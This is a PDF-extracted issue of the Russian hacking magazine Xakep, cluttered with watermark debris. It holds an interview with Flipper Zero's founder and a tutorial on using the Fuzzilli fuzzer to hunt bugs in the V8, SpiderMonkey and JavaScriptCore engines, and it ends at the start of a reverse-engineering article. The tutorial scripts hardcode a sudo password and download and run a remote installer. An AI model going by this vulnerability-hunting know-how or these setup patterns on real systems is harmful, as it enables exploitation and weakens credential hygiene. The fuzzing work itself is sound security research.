Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
20
Добавлен:
20.04.2024
Размер:
21.69 Mб
Скачать

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

COVERSTORY

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ПАВЕЛ ЖОВНЕР

ОПРОБЛЕМАХ РАЗРАБОТКИ, НОВОМ МАРКЕТПЛЕЙСЕ

ИСЛЕДУЮЩЕМ FLIPPER

Павел Жовнер с командой разработчиков создали знаменитый хакерский мультитул Flipper Zero. Его производство и распространение были сопряжены с массой сложностей и волнительных моментов. В этом интервью Павел рассказал Дане Шеповалову о том, как это было, и сделал два важных анонса: о запуске магазина приложений для Flipper и начале работы над старшей моделью — Flipper One.

Даниил Шеповалов https://t.me/vecherniy_danya aprilkey@gmail.com

Не забудь подписаться на телеграм-канал Дани Шеповалова «Вечерний Даня», чтобы не пропускать новые авторские материалы, и заглядывай на danya.ru.

Все смотрят на тебя и думают: надо, как Паша, нарисовать какой-нибудь девайс на листе бумаги... Хотя подожди, девайсы же не на бумаге, наверное, рисуются. Какой вы софт используете?

Мы пользуемся очень много чем. Для трассировки электроники это в

основном Altium Designer. Плюс Altium 365 — это как GitHub, только для «Аль-

тиума» — там есть коммиты, версионность, релизы. По части софта — прошивка написана на C. Внутри команды каждый использует свою среду разработки. У нас своя система для сборки прошивки. Для планирования интерфейсов мы используем Miro, мы писали в блоге об этом. Там же можно найти про разработку интерфейсов и глянуть красивые майндмапы из пиксельных экранов. Мобильные приложения у нас нативные: для Android — на Kotlin, для iOS — на Swift. Промдизайн в CATIA делаем. А так очень много разного софта используем...

Получается, все думают: надо нарисовать в спецсофте девайс, запилить его, продать сто миллионов экземпляров и уйти с завода. Ну а чтобы заводы не остановились, расскажи про самую стремную ситуацию, связанную с Flipper Zero.

Изначально мы взяли очень свежий чип STM32WB55, который не был

оттестирован: там в одном камне сразу и Bluetooth на втором ядре, и процессор. И в какой-то момент мы обнаружили фатальный баг, который приводит к аппаратному выгоранию передающего Bluetooth-тракта, после чего камень никогда не возвращается в рабочее состояние. И это был конец: мы это обнаружили на позднем этапе, и нас эта проблема откинула на год. Пришлось четыре месяца мучить ST, чтобы они починили это. По дороге мы нашли какую-то австралийскую компанию, которая столкнулась с той же проблемой. В итоге после всех наших просьб в ST приняли меры. Фикс обозначили как минорный, но на самом деле это был кошмарный баг. Представь, мы выпустили бы устройство и через какое-то время у всех ломается Bluetooth на физическом уровне!

Чипов всегда хватало?

Нет, конечно. Когда начался весь этот коллапс с кремнием, у нас тупо

не было чипов, чтобы что-то производить. Мы просто сидели какое-то время

иничего не делали. А потом еще оказалось, что чипов нет теперь для экранов

ичто наш поставщик экранов не даст то количество, которое мы запросили. И вообще надо ждать, пока он переориентирует линию на новый кристалл. Мы просто сидели и ждали, пока это произойдет. Попутно нашли еще одну фабрику, которая делала нам экраны.

А что с адовыми продажами?

В продажах самое стремное — это сама доставка, особенно доставка в...

да вообще доставка — это жесть. То у нас арестовали контейнер, то уничтожили груз, то «Флипперы» не пускали куда-то. Самый дикий ад — все, что связано с доставкой в Россию. СДЭК этот кошмарный, потом арест груза, какие-то постоянные проблемы. Мы по триста раз собирали адреса для доставки. Люди уже переехали, начался весь этот геополитический треш. В общем, доставка — это самое ужасное, с чем мы столкнулись. Очень тяжело было жить с ощущением, что есть еще тысячи людей, которым не прислали их купленные устройства. Но сейчас мы доставили всё, в том числе и в России.

Допустим, ты переубедил не всех. Кто-то по-прежнему намерен спроектировать собственный девайс и произвести его в Китае. Есть советы и лайфхаки?

Тут в двух словах не ответить. Это все равно что отвечать на вопрос «А

какие бы ты советы дал тем, кто хочет построить восемнадцатиэтажный дом?». Это большая комплексная работа. Очень важно брать профессионалов и иметь кого-то с опытом реальных дел. Очень много людей, гораздых болтать, но настоящий показатель — это реальный трекшн, реальный продукт, реальные законченные дела.

Мне кажется, просто так не стоит лезть в производство устройств. Можно попробовать, конечно, но нужно знать, что это крайне рискованно, и нужно знать специфику китайцев. Вообще у нас в Китае живет часть нашей русскоговорящей команды, они говорят и на китайском тоже. Поэтому у нас такие теплые отношения с заводами, поставщиками и другими китайскими партнерами. Получается, что если ты можешь построить такую связь, то можно пробовать.

Типа человек поселяется в Шэньчжэне, ищет поставщиков и подрядчиков, торгуется с ними, потом трагедии с бракованными партиями и всякое такое?

У нас не совсем такой случай, у нас уже до этого был опыт производства,

и люди из топ-менеджмента находятся в Китае. Они знают язык и погружены

вкитайскую культуру. Раньше ведь мы занимались производством устройств как контрактной разработкой для других компаний, то есть была пачка наработанных контактов и подрядчики на примете. Есть литьевые фабрики, которые льют пластик, есть производители электроники, есть несколько фабрик, на которых мы тестируем что-то, печатаем тестовые «грязные» писибихи

(PCB — printed circuit board, печатная схема).

Но вряд ли бывает так, что человек приехал и просто начинает обивать пороги и пытается договориться на английском. Без какого-то опыта отношений ты выглядишь странно, потому что производство — это высокий риск. Если просто стучаться в двери и говорить: «Давайте делать дела», то будешь выглядеть непонятным бомжом. Построить линию — это ресурсоемкий процесс, и фабрика должна быть уверена, что она отобьет свои вложения. Либо ты им авансируешь много денег, чтобы они стали воспринимать тебя серьезно, либо нужно убедить как-то еще.

Наверное, проще всего подмазаться к кому-то, кто уже наладил процесс. Поработать какое-то время совместно, набрать контакты. На самом деле рынок в Китае очень непрозрачный. Например, как вкатиться в разработку 1С, более-менее понятно, а чтобы вкатиться в производство электроники

вКитае, никаких рецептов нет. А ведь помимо завода есть еще поставщики компонентов. Это тоже отдельная история, с ними надо отдельно выстраивать отношения...

А что за контрактная разработка для других компаний?

Можно зайти на сайт компании Design Heroes и посмотреть, какие проекты

были до «Флиппера». Например, парковочные датчики для компании Nwave. Мобильные базовые станции для Fairwaves. Разные устройства делали. Какие-то из них были на «Кикстартере», например проект Monument. И я с ребятами тоже иногда работал, прошивку делал для каких-то демок. Еще есть компания Objectlab, она была до Design Heroes. Там всё: от датчиков до вендинговых аппаратов. По Москве стоят такие тележки, продающие мороженое, — мы участвовали в их дизайне. Но электронику тогда почти не делали. В основном промдизайн, корпуса, литье и прочее.

На «Флипперы» у вас по-прежнему дикий спрос? Или стало спокойнее?

Сейчас мы производим около 40 тысяч устройств в месяц. Продаем при-

мерно столько же, даже чуть-чуть меньше. То есть спрос и предложение примерно выровнялись. Хотим продавать чуть больше, может быть, нарастить еще производство, может быть, оставить как есть. TechCrunch на днях писал, что мы собираемся в этом году продать на 80 миллионов долларов. Надеюсь, что получится 100, но хотя бы 80.

Хотя бы 80 миллионов долларов, ладно... А откуда в основном покупатели идут?

Сейчас очень много дает всякая «органика». В «Тиктоке» у нас око-

ло 800 миллионов просмотров. Да и просто сарафанка по интернету. Мы только сейчас потихоньку начинаем тратиться на маркетинг. До этого все шло само по себе — органически. Да и мы все время были в ситуации, когда спрос превышает предложение. Все, что мы произвели, сразу продалось, и дальше продавать уже нечего, поэтому не было смысла тратиться на рекламу. Сейчас мы начали наращивать объемы и постепенно начинаем строить планы продаж.

С эквайрингом все окей? Вроде вам в PayPal были должны?

Совсем недавно в PayPal вернули последние 300 тысяч долларов и нав-

сегда нас забанили. Нам пришлось нехило потратиться на юристов, да и нервов сколько ушло! Нас раз десять блокировали, потом часть денег отдали, потом вот эти 300 тысяч зажали, но сейчас все наконец перевели. Тем временем прошло уже полтора года. А когда мы привлекли внимание к этой истории, к нам пришло очень много таких же пострадавших терпил, которые сидят с блокированными счетами. PayPal — ужасная помойка, не рекомендую ни в коем случае никому никогда пользоваться.

А чем тогда порекомендуешь пользоваться, если не помойкой?

Тут зависит от специфики бизнеса. Я вообще не тот человек, которого нуж-

но слушать в этом плане, потому что у нас специфичный продукт: в Stripe нас, к примеру, просто банят по своим внутренним соображениям. Если вы продаете алкоголь, парфюм, автомобили, страховки, там будут совершенно разные эквайринги. Тут компетентно что-то сказать очень сложно. Знаю историю, как в PayPal забанили программу для macOS — Little Snitch — за то, что у них в письме с серийным номером для активации была последовательность букв, в которой PayPal разглядел некое террористическое слово. Вот такой бывает абсурд.

Какие самые необычные применения Flipper Zero, о которых вы узнали уже от пользователей?

Я однажды увидел, как пьезодинамиком открывают какой-то ультраз-

вуковой замок. Но наверное, это можно сделать с помощью динамика телефона. А еще меня удивило, что «Флиппер» считывает чипы домашних животных, — мы это совсем не задумывали. Мы даже не знали, что так можно: там другая частота — не 125, а 134 килогерца. Но наша антенна все равно позволяет такой резонанс делать, и считывание работает, хоть и не очень хорошо — приходится целиться.

А еще меня удивила функция инфракрасного приемника для компьютера. Это когда ты подключаешь «Флиппер» к компьютеру по USB, ставишь девайс инфракрасным окошком в свою сторону и можешь управлять компьютером с пульта телевизора. «Флиппер» обнаруживается как HID-устройство, принимает сигналы и управляет всем, чем захочешь. Можно нажать Play и включить музыку или кнопкой Next слайды переключать, на остальные кнопки тоже что-то назначить. Я даже удивился, почему я до этого не додумался.

Сколько примерно человек в мире что-то пилят под «Флиппер»?

Мне очень сложно сказать, сколько реально людей. У нас в Discord что-то

в районе 50–100 тысяч человек, и всегда что-то активно обсуждают. Людей, которые реально программируют что-то полезное, а не просто Hello World, наверное, в районе сотни, может быть — две сотни из нашего полумиллионного комьюнити. Для Flipper написано около 60 приложений. Кстати, скоро мы откроем маркетплейс. Через мобильное приложение Flipper можно будет ставить программы, написанные сторонними разработчиками. И любой желающий сможет отправить нам свой FAP — Flipper Application Package.

Как выглядит команда Flipper Zero?

Команда у нас примерно из 50 человек. Мы сейчас хантим людей, может

быть, к концу года станет раза в два больше. У нас уникальный коллектив и по составу, и по демографическому признаку, и по этническому. Мы очень ЛГБТ-френдли. Вообще, я считаю, в СНГ нет команд, которые делают что-то подобное тому, что делаем мы. Ну, может быть, Яндекс.

Мы всё разрабатываем внутри, ин-хаус, пошагово. Сначала — промышленный дизайн, то есть придумываем, как будут выглядеть формы. Затем конструктив — то есть как устройство собирается, как шурупы вкручиваются, где ребра жесткости, как детали будут из пресс-формы вытаскиваться и так далее. Дальше разрабатываем электронику: сами платы трассируем, строим тестировочные линии вокруг этого. Это важный этап, потому что наладить производственную линию — это не просто отрассировать плату в «Альтиуме».

Прошивку тоже пишем сами: основная часть команды — это как раз программисты. В основе — наша прошивка, а вокруг нее — множество других утилит. Весь тулчейн мы сделали сами, и все лежит в открытом доступе. В общем, это хардкорный embedded! Плюс у нас два мобильных приложения

Flipper — для iOS и для Android.

Маркетинг тоже фигачим сами: контент, сайты, видео, статьи... А также все, что связано с комьюнити. И конечно, продажи и большая часть того, что связано с логистикой. Именно поэтому я считаю, что в СНГ нет сравнимых с нами команд.

Flipper Zero изначально планировался как младшая модель, в дополнение к Flipper One с полноценным процессором, Linux и Wi-Fi. К этим планам возвращаетесь хотя бы в мыслях? Я читал, что ты хотел отказаться от повторения истории с разработкой, но, может, это морально была какая-то низшая точка, которая теперь пройдена?

Мы сейчас работаем над Flipper One, но пока не совсем понимаем, каким

он должен быть. Мы хотим вообще жирный комбайн с FPGA и SDR, в котором все протоколы можно будет определить программно, но пока есть сомнения, будут ли покупать устройство за 300–500 долларов.

Так что проект в активном R&D, но пока нет понимания по важным частям. Например, не выбрали модуль Wi-Fi, потому что все существующие чипы, пригодные для атак, уже устарели. Возможно, придется спонсировать разработку своего драйвера. В общем, увидим!

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ФАЗЗИМ JS-ДВИЖКИ ПРИ ПОМОЩИ FUZZILLI

Сегодня в меню макароны! Точнее, наглядная демонстрация того, как использовать фаззер Fuzzilli, чтобы искать уязвимости в движках JavaScript. Теории будет всего чуть-чуть, сосредоточимся на практике. Быстренько соберем необходимый инструментарий, а затем приступим к поиску багов при помощи фаззинга.

sploitem

Vulnerability researcher в Secware.ru @sploitem sploitem@gmail.com

Раньше фаззить движки JavaScript (те самые, что позволяют делать в браузере падающий снег или разрабатывать бэкенды на Node.js) было сложно. Мутации JS-кода приводили к синтаксическим ошибкам, что серьезно замедляло работу. Семплы отбрасывались движком, и приходилось генерировать новые и новые. На помощь пришли фаззеры на основе грамматики, но их применение тоже не назовешь легким.

В 2019 году исследователь безопасности saelo публично открыл свою разработку — фаззер Fuzzilli. Идея была в том, чтобы вместо JavaScript генерировать подобие байт-кода, которое будет проще подвергать мутациям. Собственно, хоть в названии и обыгран сорт пасты, происходит оно от FuzzIL — Fuzzing Intermediate Language, промежуточный язык для фаззинга.

Fuzzilli

СТЕНД

Для стенда нам понадобится виртуальная машина на Linux. Можно скачать готовую виртуалку с сайта osboxes.org, выбрав дистрибутив по вкусу. Я в статье буду использовать Ubuntu 22.

Чем больше ты выделишь виртуалке ресурсов, тем лучше. Фаззер показывает покрытие кода, и в зависимости от мощности машины на весь движок может уйти от одного дня до нескольких недель.

Из инструментов понадобится Git, язык программирования Swift (не путать с певицей), а также весь тулчейн, нужный для сборки JS-движка. Но об этом поговорим чуть позже.

Пока же запускай виртуалку и вводи свой пароль.

Password=osboxes.org

echo $Password | sudo -S apt update

sudo apt upgrade -y

Update и upgrade

Фаззинг — это такой метод тестирования, при котором в ПО вводят неправильные, неожиданные или рандомизированные данные, а фаззер отслеживает падения, срабатывания встроенных утверждений (assert) и утечки памяти.

Важный параметр в фаззинге — это покрытие кода. По сути это процент задействованного кода программы при выполнении определенного набора тестов.

Фаззинг можно разделить на «тупой», или неструктурированный, и «умный», или структурированный. Когда фаззер ничего не знает о структуре входных данных программы, то это тупой фаззинг. Если знает — умный.

Создание входных данных делится на генерацию и мутацию. Генерация — это когда данные создают полностью с нуля, мутация — когда изменяют име-

ющиеся.

 

Еще фаззеры можно разделить

на тестирующие методом черного

и белого ящика — в зависимости

от того, какие у нас есть знания

об исходном коде.

 

Тестирование методом черного ящика означает полное отсутствие данных о структуре программы, в таком случае фаззер создает рандомизированные входные данные.

Фаззинг методом белого ящика подразумевает анализ программы для повышения покрытия кода. Например, символическое исполнение для обхода разных частей программы. Но анализ программы занимает больше времени, чем при фаззинге методом черного ящика.

Еще «ящик» может быть серым. В таком случае мы применяем инструментацию кода вместо анализа программы. Это позволяет получать информацию о программе без анализа. То есть что-то среднее между белым и черным ящиком. Получается, можно быстро генерировать входные данные, но при этом узнать информацию о покрытии кода.

Фаззер Fuzzilli относится как раз к третьему виду. По типу генерации входных данных он совмещает в себе генерацию и мутацию. По типу фаззинга он скорее «умный».

JavaScript-движки

Основные части движка JavaScript — это парсер, интерпретатор и компилятор.

JS-пайплайн

Все начинается с парсинга исходного кода на JavaScript. Строится абстрактное синтаксическое дерево (AST). На его основе создается байт-код. Затем интерпретатор выполняет байт-код.

Во время выполнения записывается разная информация — pro ling data. В дальнейшем она используется при компиляции байт-кода в машинный. Этим занимается компилятор.

Машинный код генерируется в тех случаях, когда какой-то участок часто используется. Например, функция выполняется в цикле. Тогда выгоднее потратить время на его компиляцию и в дальнейшем выиграть во времени выполнения (ведь интерпретация идет медленнее).

Обычно применяется несколько компиляторов, и выбор происходит в зависимости от уровня оптимизации кода.

Подробнее о работе движков JS — в презентации

«JavaScript engines: The Good Parts» (PDF, WebArchive).

ПОДГОТОВКА ФАЗЗЕРА

Fuzzilli поставляется в виде исходного кода, написанного на языке Swift.

Для скачивания исходников понадобится Git, для сборки Fuzzilli — пакеты GCC, Binutils и, конечно, исходники фаззера. Ставим зависимости и клонируем репозиторий Fuzzilli.

Password=osboxes.org

echo $Password | sudo -S apt update

sudo apt install git binutils gcc -y

git clone https://github.com/googleprojectzero/fuzzilli

Клонируем репозиторий

Теперь переходим на сайт Swift в раздел Download и ищем релиз для своего дистрибутива. Для Ubuntu 22 качаем релиз Ubuntu 22.04 x86_64.

Swift

Распаковываем архив и копируем папку usr, чтобы установить Swift. После этого убеждаемся, что все корректно настроено.

Вот мини-скрипт для ленивых. Если читаешь эту статью спустя много лет, поменяй переменные SwiftUrl на соответствующий URL со страницы Swift.

#Установка Swift Password=osboxes.org

SwiftUrl=https://download.swift.org/swift-5.8.1-release/ubuntu2204/ swift-5.8.1-RELEASE/swift-5.8.1-RELEASE-ubuntu22.04.tar.gz SwiftTar=$(echo $SwiftUrl | sed 's:.*/::') SwiftFolder=${SwiftTar%.tar.gz}

#Переходим домой

cd $HOME

# Качаем архив wget $SwiftUrl

# Извлекаем

tar -xzf $SwiftTar

# Устанавливаем

echo $Password | sudo -S cp -r $SwiftFolder/usr /

# Удаляем архив rm $SwiftTar

# Удаляем папку

rm -rf $SwiftFolder

# Тестовый запуск swift --version

Установка Swift

Теперь мы готовы к сборке фаззера. Переходим в папку Fuzzilli и запускаем сборку.

cd fuzzilli && swift build -c release

Собираем Fuzzilli

Фаззер готов. Можно почитать раздел помощи, если есть желание.

swift run -c release FuzzilliCli --help

Переходим к подготовке JS-движков. На главной странице репозитория инструкция гласит: «Скачайте исходный код движка. Скомпилируйте его, как описано в инструкции к нему в папке Targets». Для каждого движка там есть отдельная папка, в которой указано, как собрать движок для фаззинга.

Продолжение статьи

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

o m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

← НАЧАЛО СТАТЬИw Click

 

BUY

 

m

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

.

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

ФАЗЗИМ JS-ДВИЖКИ ПРИ ПОМОЩИ FUZZILLI

СБОРКА И ФАЗЗИНГ V8

Теория

Начнем с движка браузера Google Chrome, он называется V8. Это движок JavaScript и WebAssembly, разработанный в Google, распространяется с открытым исходным кодом, написан на C++. Используется в Chrome, Node.js и множестве дериватив Chrome.

Разработали этот движок в датском городе Орхус, а ведущего разработчика зовут Ларс Бак. Бак занимался разработкой языка Self, а также HotSpot — виртуальной машины Java. Поэтому многое из наработок Self перекочевало в V8. Например, та же JIT-компиляция или «карты» объектов

(maps).

Подробнее — в научной работе, которая легла в основу Self: «An Ef cient Implementation of SELF, a Dynamically-Typed Object-Oriented Language Based on Prototypes» (PDF, WebArchive).

Движок состоит из интерпретатора Ignition, неоптимизирующего компилятора Sparkplug и оптимизирующего компилятора TurboFan.

Пайплайн V8

Сборка

В папке Targets/V8 нам предлагают следовать инструкциям с сайта. Но я не буду утомлять ими, а скомпилирую все в один мини-скрипт.

#Подготовка и сборка V8 Password=osboxes.org

echo $Password | sudo -S apt update

#Переходим домой

cd $HOME

# Качаем репозиторий depot_tools

git clone https://chromium.googlesource.com/chromium/tools/depot_ tools.git

# Добавляем в PATH

echo "PATH=$HOME/depot_tools:$PATH" >> ~/.bashrc source ~/.bashrc

# Качаем исходники gclient

fetch v8 cd v8/

gclient sync

#Ставим зависимости (update — так как скрипт попросит ввести пароль) echo $Password | sudo -S apt update

./build/install-build-deps.sh

#Билдим при помощи скрипта из папки фаззера

$HOME/fuzzilli/Targets/V8/fuzzbuild.sh

Сборка V8

Скрипт переходит в домашний каталог пользователя, затем ставит depot_tools (для скачивания и сборки V8), качает и компилирует исходный код движка V8. Сборка займет какое-то время, зависит от ресурсов машины. Можешь пока сделать небольшую разминку.

Фаззинг

Приступаем наконец к самому фаззингу. Для этого нужно выполнить следующую команду:

#Запускаем Fuzzilli

#Отключаем дампы

echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'

#Переходим в папку Fuzzilli cd $HOME/fuzzilli

#Запускаем

swift run -c release FuzzilliCli --profile=v8 --resume --storagePath= $HOME/fuzzilli-storage-v8 $HOME/v8/out/fuzzbuild/d8

Начинаем фаззить V8

Основные настройки — это профиль движка (--profile=v8), возврат к предыдущей сессии фаззинга (--resume) и хранилище, куда фаззер будет сохранять свои данные (--storagePath). Там будут храниться найденные краши, корпус семплов и прочая информация.

Периодически он будет выводить статистику фаззинга. В основном интересны количество найденных крашей (Crashes Found) и процент покрытия кода (Coverage).

Статус фаззинга

СБОРКА И ФАЗЗИНГ SPIDERMONKEY

Теория

Переходим к JavaScript-двиглу Firefox.

SpiderMonkey — это потомок первого в мире движка JavaScript. Его релиз состоялся аж в 1995 году! Изначально он разработан Бренданом Айком в компании Netscape. Первые версии были написаны на C, но в дальнейшем код переписали на C++.

Вот структура SpiderMonkey. Парсер производит байт-код. Интерпретатор JavaScript этот байт-код выполняет. Baseline-интерпретатор занимается созданием инлайнового кеша. Baseline-компилятор создает неоптимизированный машинный код. WarpMonkey — оптимизированный машинный код.

Пайплайн SpiderMonkey

Сборка

В инструкции пишут, что нужно просто клонировать репозиторий Gecko и запустить fuzzbuild.

Но на самом деле надо применить патчи из папки Patches. И только после этого билдить. К тому же запускать fuzzbuild нужно не из js/src, а из рута

gecko-dev.

Что ж, приступаем. Нам понадобится curl и компилятор Rust для сборки движка.

#Подготовка и сборка SpiderMonkey Password=osboxes.org

cd $HOME

#Ставим curl

echo $Password | sudo -S apt install curl -y

# Ставим Rust

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs -o install. sh

sh ./install.sh -y

source "$HOME/.cargo/env"

# Клонируем

git clone https://github.com/mozilla/gecko-dev.git

# Заходим

cd gecko-dev/js/src

# Патчим

git apply $HOME/fuzzilli/Targets/Spidermonkey/Patches/* cd $HOME/gecko-dev

# Собираем $HOME/fuzzilli/Targets/Spidermonkey/fuzzbuild.sh

Rust установлен

Билдим

Фаззинг

После того как движок собран, можем запустить фаззинг из папки fuzzilli. Команды запуска и параметры фаззера те же, кроме профиля и исполняемого файла.

#Запуск Fuzzilli

#Отключаем дампы

echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'

#Переходим в папку Fuzzilli cd $HOME/fuzzilli

#Запускаем

swift run -c release FuzzilliCli --profile=spidermonkey --resume --storagePath=$HOME/fuzzilli-storage-sm $HOME/gecko-dev/obj- fuzzbuild/dist/bin/js

Фаззим SpiderMonkey

СБОРКА И ФАЗЗИНГ JAVASCRIPTCORE

Ну и наконец, JavaScriptCore — JavaScript-движок браузера Safari.

Теория

Вообще, можно сказать, что это потомок JavaScript-движка KJS из браузера Konqueror, входящего в KDE. Проект WebKit стартовал в 2001 году как форк от KHTML и KJS.

Пайплайн у него самый сложный, четырехуровневый.

LLint или Low Level Interpreter — это просто интерпретатор байт-кода, сгенерированного из исходного кода JavaScript.

Далее идет немного оптимизирующий компилятор Baseline. Оба они собирают информацию, необходимую для дальнейших оптимизаций машинного кода.

Следующий компонент — DFG JIT (Data Flow Graph Just In Time). Он отве-

чает за повышение оптимизации машинного кода.

Ну и FTL JIT (Faster Than Light), генерирует наиболее оптимизированный машинный код.

Пайплайн KJS

Сборка

Смотрим, что пишут в Targets по поводу JavaScriptCore.

Нужно клонировать код из репозитория WebKit, накатить патчи и запустить fuzzbuild.sh. Для сборки потребуется установить Clang и зависимости. В папке Tools есть готовые скрипты для этого. Качаем, ставим все необходимое, патчим, билдим. Как обычно, вот скрипт:

#Подготовка и сборка JavaScriptCore Password=osboxes.org

cd $HOME

#Качаем исходный код

git clone https://github.com/WebKit/WebKit.git

# Ставим зависимости cd WebKit

echo $Password | sudo -S apt update sudo apt install clang -y Tools/gtk/install-dependencies

# Патчим

git apply ../fuzzilli/Targets/JavaScriptCore/Patches/*

# Билдим $HOME/fuzzilli/Targets/JavaScriptCore/fuzzbuild.sh

Сборка JSC

Фаззинг

Когда сборка движка будет закончена, можем запускать фаззинг. Поехали!

#Запуск Fuzzilli

#Отключаем дампы

echo $Password | sudo -S sysctl -w 'kernel.core_pattern=|/bin/false'

#Переходим в папку Fuzzilli cd $HOME/fuzzilli

#Запускаем

swift run -c release FuzzilliCli --profile=jsc --resume --storagePath =$HOME/fuzzilli-storage-jsc $HOME/WebKit/FuzzBuild/Debug/bin/jsc

Фаззинг JavaScriptCore

Все работает. Осталось дождаться интересных крашей!

ВЫВОДЫ

Я постарался рассказать всю необходимую теорию о фаззинге, а также мы подготовили платформу для фаззинга трех основных движков JavaScript. Однако Fuzzilli умеет работать и с другими движками (достаточно заглянуть

впапку Targets):

JerryScript;

QuickJS;

Qt QJSEngine;

XS;

duktape.

Их можешь попробовать пофаззить самостоятельно.

Coverage Guided Fuzzing for JavaScript Engines Thesis (PDF)

Видео с O ensiveCon19

Слайды O ensiveCon19 (PDF)

How Fuzzilli Works

Репозиторий Fuzzilli на GitHub

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

ВЗЛОМ

 

wClick

to

 

 

 

 

o m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

c

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

-x

 

 

g

 

 

 

 

 

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

c

 

 

 

.c

 

 

 

p

df

 

 

 

e

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

-x ha

 

 

 

 

 

ИЩЕМ СТРУКТУРЫ ЯЗЫКОВ ВЫСОКОГО УРОВНЯ

В ПРОГРАММАХ ДЛЯ X86-64

Крис Касперски

Юрий Язев

Известный российский

Широко известен под

хакер. Легенда ][, ex-

псевдонимом yurembo.

редактор ВЗЛОМа. Также

Программист, разработчик

известен под псевдонимами

видеоигр, независимый

мыщъх, nezumi (яп. ,

